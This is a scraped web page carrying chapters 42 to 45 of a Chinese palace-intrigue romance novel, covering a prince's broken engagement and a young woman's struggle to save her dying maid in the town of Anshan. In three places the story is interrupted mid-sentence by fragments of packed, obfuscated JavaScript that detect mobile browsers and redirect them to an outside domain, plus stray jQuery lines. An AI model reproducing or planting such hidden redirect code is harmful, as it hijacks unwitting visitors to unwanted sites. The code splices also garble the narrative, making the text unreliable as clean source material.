但这第二次退婚,可就真的触到了天子逆鳞,圣上气得摔了茶盏,连骂两声“逆子”,不再提及封王一事。 愤怒之余还要顾虑柳家的感受,赏赐了两柄玉如意给柳家大姑娘,承诺与柳家这亲结定了。 柳公权感激涕零。 在朝臣看来,他应当这样,这是可是天子给的无上荣耀,毕竟被天家退婚的姑娘,不论是什么原因,以后都无人敢娶,甚至还会牵连到家族中未出阁的姑娘。 柳公权却是有苦说不出,他与大殿下有着同样的意愿,也巴不得大殿下不回来。 这半年来他过得提心吊胆,生怕将大女儿的婚事提上议程,本欲就此解了这门婚事,但见圣上如此盛怒,便也不敢再说什么,只悄悄命人加紧寻找。 他十分懊恼,贪图与天家结姻亲,将此事拖了这么久,以至于现在骑虎难下。 若此时将大女儿亡故的消息告知朝中或者用二女儿来替嫁,都会落得个欺君之罪。 然而顾洲并不知道京中这些事,将奏折一气呵成,交于侍卫送往京中,这次他言语极其委婉诚恳,只盼父皇能遂他的意。 当然他也做好再次被斥责的准备,所以自己的肩伤一直不痊愈,拖延归京的时间。 关于退婚他找不出什么好理由,只能从自身的恶名和伤势入手,一点也没有提及沈明月。 因为他清楚,若他父皇知道了真相,那时不论他有什么说辞,他父皇都会直接给沈明月安上一个勾引皇子的罪名。 此次,他还要找个外援。 于是再次铺开信笺,将前因后果详细地写下,只是隐去沈明月姓名。 书信最后写道:“外甥愧对此女,亦对此女钟情,若不能娶此女为妻,实为平生之憾。承平此生,不羡妻妾成群,惟羡舅舅、舅母伉俪情深,惟愿与知心之人共赴白首,愿舅父、舅母成全。外甥承平,遥祝舅父舅母安康顺遂。” 这封信送到齐都邺京安国公府时,国公夫人方氏正在佛堂上香,祈愿顾洲能平安归来。 近些日子,京中关于顾洲的传言如风,在官宦世家的后宅之中刮了几个来回,因此她越来越忧心。 打开信后得知原委,她的忧心变为了忧愁,重情重义是好事,但这于皇家来讲,却是最不该有的。 她匆匆来到书房,焦心地等待国公爷散朝归家,一遍又一遍地询问,“以往这个时辰国公爷早该回来,今日怎的这样迟。” 书房伺候的小厮暗中算算,也就晚半个时辰,不知夫人有何要紧事,竟这般着急,他劝慰道:“夫人勿燥,进来朝中事多,国公爷定是被朝政绊住了脚。” 正说着,只见安国公背着手大踏步进来,眼带怒火愁容不展,但见顾洲的书信,语气中的愤怒和不满,让书房内的空气都变得紧张起来。 “这个混账,不学无术,当初就不该让他如此选择。” 42. 真相 这话将方氏惊得面色发白,赶紧屏退左右,命小厮关好门窗。 “慎言!洲儿现在身份尊贵,不再是小时候的娃娃,万不可再这样说他。” 方氏看出国公爷的怒火不单单出自这封信,倒了盏茶水送到他手中,正欲询问只听国公爷重重叹息一声。 “唉!”徐茂看着杯盏中的浮动的菊花,无奈地往桌上一放:“你可知今日我为何晚归?” “为何?” “今日朝堂上我就见圣上面色不佳,却又未当众表态,我就想是不是承平又上退婚的折子了,果然,散朝后圣上将我单独留下,正为此事。前两次圣上大怒,不过是给朝臣看的,这次圣上没有任何言语,只阴着脸与我商议要收回封王的圣旨,看来是要动真格的了。” “那你是如何回答的?” “我能说什么,只能和稀泥,一面劝慰圣上息怒,一面说大殿下只是一时糊涂,答应替圣上去劝劝。”徐茂说着抖了抖信笺:“谁知这小子竟然是为了一介女子!” 徐茂边说边回忆这几年的坎坷,自圣上夺权登基,坐稳帝位后,便开始清扫朝堂,也对徐家颇为忌惮,他深知“狡兔死走狗烹,敌国破谋臣亡”的道理,于是明哲保身,渐渐远离朝政。 尤其皇后故去后,他为了保全徐氏家族,辞去大将军一职,上交兵权,对于身处水深火热中的顾洲,他也劝其韬光养晦,暗中筹谋,蓄势而发。 “定是在那烟花之地待久了,也学得纨绔起来,竟然为女子放弃亲王之位。” 徐茂越说越气,挽起袖子,恨不得现在就去北境,将这外甥狠狠教训一顿。 方氏心中再急,也要安抚下国公爷情绪再说此事,她端起茶奉到国公爷眼前,近来国公爷颇为上火,每日下朝后都要饮两盏花茶清火。 待徐茂接过饮了一口后,她才说道:“国公息怒,洲儿是咱们看着长大的,什么脾气秉性还不清楚吗,他这性子是随了娴妹妹,认准了就不回头。” 提起同胞妹妹徐娴,徐茂只觉得惋惜,当初这桩婚姻是家族谋划,徐娴被嫁给了还是西宁王的圣上,婚后便跟着去了幽州,吃了不少苦,待其诞下顾洲后,西宁王又娶了许多妾室。 徐娴出身武将之家,不善也不屑工于心计,虽有正妃点名头,可在后宅中过得极为辛苦,最终香消玉殒。 苦由旧人吃,福由新人享,至今徐茂对这事,仍旧耿耿于怀。 方氏见国公爷烦忧更甚,劝解道:“既然知道了原委,便有可解决的法子。” 徐茂两手一摊,“如何解决?你说说倒是如何解决!” “圣意难违,不如遵旨而行。咱们书信一封,先劝洲儿回来与柳家完婚,再徐徐图之。我看这女子无甚根基,到时就先养在我身边,等风头过了,再以我的名义送到洲儿身边抬为贵妾,如此岂不是两全其美?” 徐茂指尖轻叩着白瓷茶盏,思前想后终觉不妥。 “夫人的这个想法,放在普通人家倒是个好法子,只是不适承平。你想承平与这女子才相识几日,就被她迷得迷得昏了心智,焉知此女不是心机深重之人。这样的女子放到后宅中,那还能有个消停吗?” 徐茂顿了顿,神思凝重起来,“承平以后的路不容易,万不能再在家中女眷身上多费心思。” 方氏想到顾洲的处境,觉得国公爷说道十分在理,“也不知圣上看上柳家什么了,非要结亲。我可听闻柳家主君夫妻二人不睦,那大姑娘是还跟着她母亲在老宅中养大的。” “这一点,便是圣上看中他家的原因。”徐茂将声音压低,“你以为圣上真是担心承平的名声不好,想尽快给他定亲吗?” 方氏疑惑道:“不然呢?” “你这就是妇人之见了,圣上那双眼睛什么看不穿。秦王、晋王最近小动作不少,圣上不好明着分他们的权,但又想敲打敲打他们,所以将户部拉拢到承平这里。柳公权是调任京都的地方官,在朝中无根基,圣上如此厚待他,他定然死心塌地效忠于圣上。” “而为什么结亲之人必须是大姑娘,这就是圣上的小心思了,这女儿与父亲不亲近,以后承平也难与柳公权走得亲近。” 方氏听着有些头大,这其中满是算计和利用,哪里还有半分骨肉亲情,圣上看似给了顾洲恩宠,可这恩宠却是个空壳子。 徐茂的思绪回到眼下的正事上,“快研墨,我要赶紧写封书信给承平,趁着圣上未收回圣旨,让他断了这念头,不然这一趟边境之行就前功尽弃了。” 此处无侍从,徐茂只能吩咐方氏去做这些事,方氏立即挽了袖子,拈起墨条在砚台中轻轻研磨,她虽年逾四旬,但保养得当,这双手依旧是润玉凝琼一般。 看着国公爷奋笔疾书,她欲言又止,“还有……” “什么,快说。” “洲儿的伤势到底如何了?京中传言他伤了……伤了根本,是真是假?娴妹妹可怜,两个孩子,带走了一个,就剩下这点骨血,若洲儿有个三长两短,我将来要如何去见她。” 方氏说着就要滴下眼泪来,她与徐娴不仅是姑嫂关系,也是幼时的闺中密友,徐娴生前曾将顾洲托付给她,至今她还清楚地记得与徐娴的最后一面。 那时封后大典刚刚结束,姑嫂相见,牵手密谈。 徐娴抚着高耸的肚子,愁眉不展,“嫂嫂,我近来身子十分不爽利,这一胎怕是要保不住了,以后承平还要劳烦嫂嫂多多看顾,我就是死了也能瞑目了。” “娘娘别说丧气话,娘娘这胎不是头胎,又有好几位御医保着,只管宽心,少思少虑好生调养,定能平安无事。” 那时她只以为徐娴是孕期受到惊吓,胎气不稳,深宫之中又无贴心之人疏解心绪,故而心绪不佳,万万没想到竟一语成谶,徐娴果然死于难产。 方氏心思单纯,经徐茂点拨才明白或是其中另有隐情,只是没有证据的事,他们不能多言,但每每想起此事都心中懊悔,她恨自己未能早察觉出徐娴的担忧。 徐茂见方氏手抖,抬眼一看夫人已是泪目潸然,忙起身扶她坐下,掏出帕子亲手拭了泪痕,轻声说道:“夫人多虑了,承平的伤早好了。” 方氏拿过帕子,捂着嘴泣不成声:“我只担心他报喜不报忧……” “你不信他,还不信徐铭吗?徐铭来信说大殿下已无碍,只是不愿归京,故而以此为借口拖延。” 徐茂知方氏平日结交之人只有后宅女眷,这话自然是出自她们之口,又鄙夷道:“那些话都是后宅之人无甚事做,编排出来消遣度日的,不可当真。” 方氏也只是点点头,不见到顾洲,她是断然不能放心的。 徐茂的书信写好后,派专人骑快马送至营州,交到了徐铭手中。 徐铭将书信送至大殿,只见海棠进入殿内的身影,他与海棠的别扭还没完,不想与她打照面,只在外徘徊等候。 大殿中,顾洲这在为还没有找到沈明月的踪迹而心绪难宁,但见海棠进来,立即起身询问,见海棠摇摇头,他的眸光黯淡下去,未注意到海棠神色有些复杂。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578254|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 自从有了线索,安山的消息传递方式改为由信鸽一日一传,接连几日都是没有找到的消息,今日也不例外,但海棠刚刚得到了别的消息。 “回主上,京中有消息。” “说!”顾洲坐回原位,将手中的帕子小心叠好放入怀中,漫不经心地翻着案几上的文书。 海棠记得那帕子,是沈明月绣的,对于主上的这一往情深,她并不赞同,却也不能僭越,只能继续往下说。 “此次陛下见了退婚的奏折并没有发怒,只是单独召见了安国公,不知说了什么。柳家大姑娘的病至今未痊愈,前两日六公主安排了雅集,给柳家下了帖子,但却只等来柳家姨娘和二姑娘,公主面上挂不住,发了好大的脾气……” 顾洲不满地叩了叩桌子,打断她:“让你去查的事没查清楚,去查这些做什么?以后这些有的没的的事,不必再与我说了。” “是……”但海棠依旧继续说下去:“属下还查到柳家这半年来一直在秘密寻人,而最近,他们似乎加紧了这件事。属下好奇他们所为何事,便派人留意,追到了营州青城,从一个客栈中打探到,半年前有一队人马曾在这里歇脚……” 半年前? 海棠反复提及这时间,终于引起的顾洲的主意,抬起头听她继续说下去。 “他们要护送的是一位姑娘,谁料姑娘竟暗中给护送之人下了药,打晕店里伙计,连夜逃走。” 顾洲越听越觉得有趣,轻描淡写地说了句:“想必这女子是被拐卖的?” “不,这队人马衣着整洁利落,一看便是大户人家出来的,事后也给了店中一笔数量不小的封口费。” 听到这里,顾洲才隐隐觉得事情不简单,海棠的性子干脆利落,回禀事情向来简明扼要,今日怎的如说话本子一般,其中定有重要的信息,他且耐心听她说下去。 “这姑娘骑了马,带着她的小婢女一起逃走……” 突如其来惊诧感撞击着顾洲的心房,与沈明月初遇的一幕幕闪现在脑中。 姑娘,婢女,马匹,逃走…… 而沈明月来的方向正是青城。 “你的意思是?”顾洲依旧不敢确认心中的想法。 海棠给了他肯定的回答:“店家见到沈明月的画像,说逃走的正是此人……所以……” “沈明月就是您的未婚妻,柳慕云。” 这句话令顾洲愣了很久,一时间好像听不到其它声音,只有这句话在耳边回荡。 在海棠轻轻叫了两遍“主上”后,他才回过神来,生怕是海棠弄错了,又确认一遍:“情况可属实?” “属实,而且属下还查到,安山是柳家大夫人的娘家,沈明月去安山应该是投奔其外祖而去,并且柳家也安排了人手在安山查访。” 安山,顾洲默默重复了这个地名。 这个地方也是他母亲告知他,让他寻找救命恩人的地方,故而他安排人手在那里盘了一个古玩店作为联络点。 真是天意,虽然没找到恩人,却找到了沈明月。 “安排马匹,我要去安山。”顾洲说着就往外走。 海棠见主上如此冲动,快步追上,“主上,主上且慢,此事疑点重重,还需再探查清楚,不可贸然前去。” 顾洲停下脚步,缓缓转身,却不是因为她的规劝。 他回望海棠,眼眸中闪烁着炙热的激情,一字一顿地说道:“将沈明月在安山的消息传给柳家,安排下去,我即刻归京……” “完婚!” 43. 算计 卖掉匕首,拿到银子的那一刻,沈明月瞬间觉得肩头卸下三座大山,久违的清爽感又回到身上,铺在路上阳光,格外和煦和惬意,拂过面庞的风,都带着一丝轻松的暖意。 本该是冰凉的银子,此刻正在荷包中散发着无尽的炽热和希望。 先置办了冬衣和木炭,又买了粮食、果蔬和两条鲫鱼,路过纸铺,想到家里那窗户纸,漏洞比房东心眼子还多,她大手一挥,拿下了铺子里最贵的纸。 回到家后,沈明做一顿丰盛的午饭,又熬了鲫鱼汤给莺儿补身子,见莺儿吃香甜,她蹙了几日的眉头彻底舒展开来,所有的烦恼都暂时烟消云散。 饭后莺儿依着床打浆糊,她裁纸糊窗户,这样夜间就暖和些。 这一点点劳作就耗尽了莺儿的精神,胸口起伏咳了几下,破锣般的声音充斥在狭小的空间里。 沈明月忙让她躺下,切了两个梨放到锅里煨汤,趁着水开的功夫,将剩下的苹果和梨放在小筐中吊在房梁下,这些果子可比柴米贵得多,不能便宜了老鼠。 锅中的水冒出小气泡,腾腾热气遮挡了锅边的轮廓,沈明月轻轻吹了吹,一手拿起勺子均匀搅动梨块,一手拿起梨核放在嘴边吮吸,不想浪费这不可多得的糖分。 她深知莺儿这病迟迟不好,一方面是没寻到良医、没有买到良药,另一方面则是营养跟不上,现在条件允许了,也许再用上几副药,这病就会痊愈。 红隐隐的火光在炭块中游走,好似被困住的火凤凰,在牢笼的缝隙间寻找出路。 在开水的咕嘟声中,她计算剩下的银钱,仔细点用够二人撑到明年开春,若要留出去幽州的路费,还需再想办法赚些银钱。 那些零活给的工钱太少,她累死累活,也只够二人三餐的开销。 自离开安庆到现在,已过了两月余,这么久没遇到追兵,也没有看到通缉令,想来是顾洲已放弃追捕,如此的话便可以继续将写字的摊子支起来。 清甜的味道在屋内弥散,混合着饭菜的香与汤药的苦,在炭火的熏蒸下,让人胸口发闷。 沈明月将窗户支起一条缝隙,清新的凉气沁入心脾,令人头脑清醒起来,再尝一勺梨汤,满意地点了点头,甜而不腻、远胜珍馐美馔。 莺儿已沉睡过去,她将炉火捡到炭盆里挪到床附近,关上窗户出门去。 房东家男主人姓王,家中排行老大,沈明月便称呼他媳妇为王大娘。 此时王大娘正在院中翻晒各种瓜豆,这些可是冬日里不可多得的绿色菜蔬,所以十分小心仔细,将落在上面的干碎树叶一点点捡干净。 沈明月与她打过招呼,劳烦她有空去看看屋里的炭火,刚糊过窗户纸厚实严密,她担心通风不好引起煤气中毒。 王大娘见她穿了新衣、换了新棉鞋,啧啧称赞了几句,随口问道:“姑娘这是去哪里?” “去请个郎中来给我妹妹瞧病,上次的药方不怎么管用。” “你妹妹的身子骨真够弱的,这么长时间都没好,别再拖成肺痨了,姑娘去城东问问,那里的郎中是给大宅里的夫人瞧过病的,医术好些。” 虽是关心的话,可沈明月总觉得她的语调中带着些别的意思,对方这是担心莺儿的病会传染给她家人。 这王大娘也是过于精明,见到二人刚搬来时买整只烧鸭回来,认定这是有钱的主,便盘算着要从她们的手指头缝中扒些便宜出来。 之后二人借炉灶做饭,她按顿收银钱,调料、木柴全部折了价算进去,又说了些含沙射影的话,气得沈明月买了锅碗和火炉,单独开火。 正因知道王大娘是如此之人,沈明月才觉得她说的那番话别有意图。 肺炎不会引起肺痨,而且自己也没有被感染,说明这病症也不是由病毒引起的,这个科学事实她不知该如何同这人说明,也不想多费口舌去解释,只能假装听不出其中的意思。 “多谢大娘,我这就去看看。” 王大娘望着她离去的背影,撇撇嘴,自言自语道:“这丫头是从哪儿发财了?” 她放下手中的活计,扒着窗户向西厢房内望,却什么也看不清楚,这新窗户纸是桃花纸【1】,要比一般的麻纸【2】厚实、韧性好,价格也贵得多,这丫头可真舍得下本钱。 转念又想,等人走后这些东西就归自己所有,不免心中窃喜,好似捡了个大便宜。 推开门,一股温热扑面而来,她忙将窗户支起来,心中犯嘀咕:这还了得,屋子封得这样严实,中了炭气要如何是好,这个姑娘真是阔绰,点过了炉子,还要熏着炭盆,看来这房租该涨涨价了。 梨汤甜丝丝的味道勾引着王大娘,她咽了咽口水,挪不开步子,见床上的人睡得熟,便偷偷盛了碗梨汤喝,热热乎乎的糖水进入肚内,五脏六腑感到无比熨帖。 一碗哪里够喝,正喝着第二碗,只听外面有人说道:“乔家姑娘在吗?” 她做贼心虚,手一抖,碗中汤水洒了一半,也顾不得烫嘴,仰头将剩下的灌入喉咙,用袖子抹掉嘴上的残留,快步出去小声说道:“是三娘啊,小些声音,里面的人睡着呢。” “怎的?乔二姑娘还没好?”王三娘顺着窗户缝往里瞧。 “可不,要不是乔大姑娘让我留意火盆,我也不进去,担心她将病气过给我家。” “唉,这事闹的,我还给她找了这针线的活计,看来是做不成了。”王三娘惦着手中的小包裹,有些失望,忽然想起来什么,又问道:“可知乔大姑娘哪里去了?” “去请郎中了,但依我看呐,二姑娘这病……”王大娘没有往下说,垂下眉眼轻轻摇着头。 “唉,可惜了如花似的人儿……”王三娘做了个同情的表情,“她们在你家住了这么久,可知晓是何来路?” 王大娘见人没有要走的意思,便拉着她坐下,一面剥豆子一面说道:“不知,她们嘴严得很,但是这般懂规矩知礼数,像是大户人家出来的婢女。” “说得有道理,我怎么就没想到呢?她们拿的可是营州大营发放的黄籍,黄籍是什么,是专门给流民的。” 王大娘听完,更加确定了自己的想法:“听闻营州战乱不断,估计是趁着主家遭难逃了出来。” 继而指着窗户纸,低声道:“我说今日她们怎么置了新衣、填了炭火,过日子也不似咱们这般精打细算,合着是从主家昧了不少好东西出来。” 王三娘顺着她的手指瞥向西厢房,面上不动声色,但心中满意起来,要是这样就更好了。 她刚想搭言,就见沈明月请了郎中回来,与她们打过招呼后进屋诊疗。 不多时,沈明月拿着药方送郎中出门,回来时对她们说道:“可巧了,二位娘娘都姓王,这位郎中也姓王。” 王三娘笑着解释:“不是巧,姑娘有所不知,这安山镇大半人都姓王,同宗同源,听闻当年天下大旱,老祖宗贩羊到此,一时没看好,吃了人家地里的庄稼,老祖宗将羊赔给人家,自己却没了本钱回乡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593763|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那家人见老祖宗诚实忠厚,仪表堂堂,便将女儿许配,这才有了王氏一族。” 沈明月只觉滑稽,这分明是逃荒入赘之事,却被粉饰成佳偶天成,忍不住玩笑道:“这庄稼倒是金子做的,将羊赔上还不够,竟要将自己也赔进去。” 王三娘并不在意,起身朝她走来,问道:“姑娘可是要去抓药?” “是,早些用药,我妹子的病也早些好起来,三娘可有事?” “喏,我给二姑娘找了些针线活的差事,二姑娘的手艺是真不错,绣出来的花叶都跟真的似的。” 对于莺儿的手艺,沈明月相当自信,只可惜自己不会,“哦,多谢三娘,实在抱歉,让三娘白跑一趟了,等她好了再帮三娘。” “不妨事,正好我也该回了,咱们一起。”王三娘说完向身后的王大娘说了声:“嫂子,我就先回了。” 出了门她才说道:“刚才当着王大家的不方便说,她最是多嘴多舌。上此与你说的赵家大郎的事,你再考虑考虑?我跟你说,这赵家虽不是大富大贵之家,却也殷实不愁吃穿,家中十几亩良田,虽有三个妹妹,但以后嫁出去也不妨事……” 王三娘边絮叨边走路,一不小心就撞到上了突然停下来的沈明月,捂着鼻子“诶呦”一声。 沈明月自是不愿意,可也不好直白地拒绝,也不能说男方的不好,从自身出发,委婉地说道:“多谢三娘好意,可三娘看看我姐妹的处境,捉襟见肘、举步维艰、自身难保、道尽途穷,又怎好再连累他人,三娘的好意我心领了,烦请三娘回绝。” 说完也不等王三娘作答,告辞直奔药铺而去。 文邹邹的回答,王三娘听得糊里糊涂,勉强理解其中的意思,大概是说自己困难,不想拖累别人。 这反倒让她觉得这女子知书达礼、心地纯善,暗下决心,一定要将这门亲事说成。 脚不沾地地跑到城外与赵家人说明情况,表明这女子不愿意,但又说了她的许多好处。 “都说‘宁娶大家婢,不娶小家女’,这女子不愧是大户人家出来的,识文断字,懂规矩识礼数,令郎真是眼光好,一眼就相中了。” 赵母一听,倒也满意起来,但还是担心,“你的意思是这女子在大户人家做过事?可看她的年岁,也不像是放出的,莫不是犯了什么错撵出来的?万一主家找来怎么办?” “放心,她有营州大营发的黄籍,身份定然没有问题。啧啧,真是段好姻缘,女方不同意,可惜了。” 赵母听了这话,赶紧为她续上茶,堆笑道:“这事我也是心中犯嘀咕,我家那大郎前些日子回来,说是相中了一个女子,我当时就将她骂了一番,这无媒无聘的怎成个体统。” “可他不死心,竟然打探到了这户人家。唉!咱们做爹娘的自然是想孩子过得舒心,便与他爹商量,就依着孩子,这才劳烦起您来。” “孩子一片心愿,还望她三娘成全,事若成了,孩子定然忘不了他三娘。” 王三娘为难地叹了口气,“唉!宁毁一座庙不破一门婚,为了令郎,我就舍下这老脸,再去试试。” 送走王三娘,赵母还在心疼被拎走的两包点心,见儿子愁眉不展,狠狠戳了戳他的脑袋,没好气地说道:“瞧你这出息!娶谁不是娶,非看上这么个中看不中用的,大户家出来的,免不了有些心性。” 最后较劲一般地说道:“你放心,她在这里无依无靠,能往哪里跑?等她嫁过来,我可得好好磨磨她的性子。” 44. 绝境 赵家大郎“嘿嘿嘿”地挠头傻笑,仿佛身上有了一股劲头,在院子内转了两圈,不知该如何表达兴奋,抡起斧头劈柴去了。 焦急等待了几日,没等来王三娘的消息,却见那女子在街上摆摊写字,他又不知如何是好,赶紧回家禀告母亲。 一介女子怎可抛头露面,这可气坏了赵母,那着急的样子,俨然将这女子当成了自家新妇,当即进城打了坛美酒、扯了块上好的布料,到王三娘家催促此事。 王三娘从赵家回来后,又去问了两次,依旧是否定的回答,暗暗惊叹这小女子竟有几分傲气,但她收了赵家许多好处,没个结果不好意思去回话,故而拖延到现在。 但这次被赵母堵在家里,少不得要硬着头皮再去说和此事,没想到竟然时机不对,正撞到沈明月的枪口上。 彼时沈明月刚刚送走一个郎中,在巷口与她碰面。 王三娘笑嘻嘻地打开料子,推到她眼前:“乔大姑娘,这是赵家送来的,你且看看这面料、这花纹,可不是一般的货色。” 沈明月心里正不痛快,连看都没看,“三娘,我还有事。” “等等,等等……啥事能有终身大事重要?” “是你听不懂我说话?还是我的话不够明确?这件事我不同意,你不赶紧去回绝赵家,为何还三番五次来说服我?赵家给了你什么好处,让你这样为尽心?” 沈明月的不耐烦让王三娘面色微变,“你这话我就不爱听了,什么叫我得了赵家好处?我图什么?还不是为你们两家好。你休怪我说话直,你们两个弱女子能撑到几时,还不是迟早是要嫁人,这赵家可是个好人家,过了这村可就没这店了。” 说着,又将不料往对方手里送,大有不收下就不罢休的意思。 推搡间,二人谁都松了手,布料掉在地上,沈明月气呼呼地说道:“王三娘,我尊敬你叫才叫你一声三娘,没想到你干的竟是强买强卖之事,他家万般好我也不中意,你若觉得好你自己去嫁!让开,这次你且去,再有下次休怪我不留情面。” 说罢绕过王三娘,抬脚想走。 王三娘总揽掮客事,向来都是别人有求于她,何曾在市井小民脸上见过这般颜色,她登时拉下脸来,指着沈明月的鼻子骂道:“呵,还不留情面?你个不知好歹的小贱人,我可是为你好,劝你眼光别太高,这么好的人家都不愿意,难道妄想进那高门府第?” 她伸着手指指点点,“我告诉你吧,你们这样无底子的流民,就算是卖到窑子里,都没人不愿意要,现在有这样好的人家等着,你还挑肥拣瘦的……我呸!” 正值午间炊烟四起时,王三娘故意放大嗓音,引得街坊四邻围观,有人端碗出门,有人则隔门偷窥,窃窃私语如蚊虫嗡鸣,听不真切,却一直环绕在耳畔。 沈明月驻足,闭眼承受言语侮辱,手紧紧攥成拳头,指甲掐进肉里,肌肉紧绷,仿佛随时挥出愤怒的拳头。 但她有自己的原则,枪口不对着同胞,拳头不挥向老幼。 这样粗俗无礼吵架,是不曾有过的经历,她猛然转身,面庞和眼尾染上火焰的猩红,而眸光中却是寒冰色的肃杀,急促而沉重的呼吸,如同暴雨前的狂风,压抑下对面人的张狂。 一声幽冷阴鸷的“王三娘”,吓得王三娘的躯体一抖,她心中本就有愧,见这小女子走火入魔一般的神情,脚下不由得后退一步,但不想输掉气势,将胸脯挺了挺,稍稍抬起下巴,为自己壮胆。 “你想做什么?这可是在大街上,街坊邻居都看着呢!” 沈明月逼近一步,用只有二人听得清的音量,缓缓开口:“王三娘,你也不想想,这乱世之中,我们姐妹二人是如何活下来的,我这手上沾过的血,恐怕比你这辈子见过的人都多。” 她说着伸出双手,右手做刀状,在攥成拳头的左手手腕上比划了一下。 “你……你……” 王三娘瞬间面如土灰,对面人的阴冷狠辣以及后来挑眉轻笑,都让她心惊胆寒,头脑木然不能思考,慌乱地卷起布料,迈着碎步离开。 等周围没了声响,沈明月像射出箭后的弓弦,差点崩断,无助地蹲在地上紧紧抱住双腿,头埋在膝盖见不敢看向周围,死死咬住嘴唇,眼眶泛红,单薄的身形犹如风中的残叶。 不多时她就起身,抬起头使劲眨眨眼,让泪水倒流回去,抬手抹掉眼角的湿润,走出巷子去抓药,那些闲言碎语她已听不进去,脑中只剩下郎中说的几个字。 “准备后事吧。” 这位郎中和前四位一样,搭了脉后不问病症、不开药方,只是摇头。 她不相信,明明人还活着,怎么就要准备后事,于是哀求郎中救命。 郎中拗不过她,斟酌良久才写出一副药方,交到她手中又拿出来,面色严肃地说道:“若执意想要救人,就试试这方子,但……只怕会人财两空,姑娘三思。” 试!一定要试! 沈明月只有这一个念头,有一线希望也比等死强。 到了药铺,柜上的伙计看着方子皱了眉头,问完是何人服用后,又将方子交给掌柜。 掌柜看完,反复确认道:“可当真用这方子?” 沈明月点点头,一次又一次地失望,早已让她身心俱疲,甚至连呼吸都极其费力,再没有精神去解释。她已猜到这药方上用的都是虎狼之药,药效凶猛,不适合体弱之人,但这是最后的希望。 提着几包药走在路上,直觉阵阵寒冷,惨白的太阳像个冰球,毫无暖意,反而吸收着世间生灵的阳气。 之前计划能用半年的银钱,只换了几锅汤药,眼下连吃喝都成问题,而房东也已催过好几次房租。 原本指着字摊赚些口粮,但生意并没有预计中的好。 一方水土养一方人,营州在齐国边境,饱受兵燹【1】,为求生机,男女老少皆做力所能及之事,故而女子在外务工不算新鲜事。 而安山日渐繁荣,也学起来那州府富庶之地的做派,男尊女卑、内外有别、三从四德的礼教逐渐在人心中扎根,所以沈明月在外摆摊,受尽了世人的冷眼,也不会有人顶着流言,去照顾她的生意。 回家的这段路,她走了很久,试图调整好情绪再去面对莺儿,可嘴角强扯出的笑容比汤药还苦、比钟馗还丑。 有啥别有病,没啥别没钱,她们现在是有病、没钱。 何谓人间疾苦?这就是人间疾苦;何谓穷途末路?这便是穷途末路。 到了小巷,远远就见门口有一堆被褥,快步过去,从其中找出一具蜷缩着的瘦弱躯体,不是莺儿更是何人。 莺儿两眼深陷,面如金纸,气若游丝,命悬一线。 “姑娘……”她抬起双眸,眼泪涌出,“房东进屋来催租金……见我咳血,二话不说将我扔了出来……还说屋中的东西几就抵这几日的房租……” 几句话断断续续地从喉咙里挤出,上气不接下气。 那王大娘是急功近利之人,原以为这女子与赵家的婚事能成,想着到时候能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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二人相扶又走了一程,沈明月注意到路边一个乞丐,正靠着半截枯树,双手揣在开落花的袖子中,漠然地看着她们前行。 目光有一瞬的交错,却彼此都不同情,各自继续着死寂悲凉的人生。 沈明月脚下一顿,毫不犹豫地拿出荷包扔了过去,她已计划好,明日就是皈依佛门的日子,这些黄白之物再无用处。 乞丐微微惊讶,捡起荷包后面色恢复淡漠,坐着对二人拱了拱手,算是谢意。 这感谢有没有都一样,这钱改不了他的命。 天空变成了蓝灰色,未成形的黑暗侵袭过来,浮在空中,落不到实处。 沈明月拖拽着莺儿前进,没有了灵魂的支撑,人体的这副躯壳变得沉重不堪。 脚下的步子越来越重,她的双腿几乎失去感觉,只是机械地向前迈步,身体已不知是寒冷还是燥热,一切感觉都变成疼痛和疲惫,折磨着身体的每一块肌肉。 悲哀,如同暮色下的苍山,是一团焦糊的黑暗。 这种悲哀蚕食着她的清醒、淹没了她的感官,世间万物化无乌有,只剩下了一片空寂,以至于身后的滚滚车轮声都被模糊掉。 沈明月不记得那两架马车是如何出现在面前的,只麻木地看着几个人闪过来,架起她与莺儿抬到车厢里。 她没有力气去询问、去反抗,她甚至看不清楚这几人的面容。 一股沁人心脾的幽香,将她的神思驱逐到清醒与混沌的边缘,却在关上车门的刹那间,瞥见一抹熟悉的身影。 身影映入记忆,与寺庙后山月光下那个邪恶的影子重叠。 这一刻,她万念俱灰,彻底坠入混沌之中。 45. 验身 晦暗不明的昏黄中,地上满是扭曲的暗影,烛火明灭间,张牙舞爪的影子像是地狱中爬出来的鬼魂,挣扎着想要冲破结界、摆脱束缚。 大约是到地府了,沈明月想。 可她不相信鬼神之说。 但她也确实身处其境。 “醒了,醒了,都准备好吗……” 人语声夹杂脚步声,飘飘忽忽,由远及近,似从旷野吹来的晚风,穿过危崖幽壑,如泣如诉、如怨如慕。 鬼神满衰听,恍惚自难辨。【1】 她们会准备什么呢? “你命中该有一劫。” 那位看手相的大哥的话音又在头顶响起。 看来这一劫终究还是没能逃过去,死了也好,强过落入王老爷的魔掌。 回想这由两世拼凑成的人生,真可谓是跌宕起伏,前世骤然而亡,未完的抱负化为执念残留世间,所以才有了此世的安庆收复战。 一切终究是一场梦,到该结束的时候了。 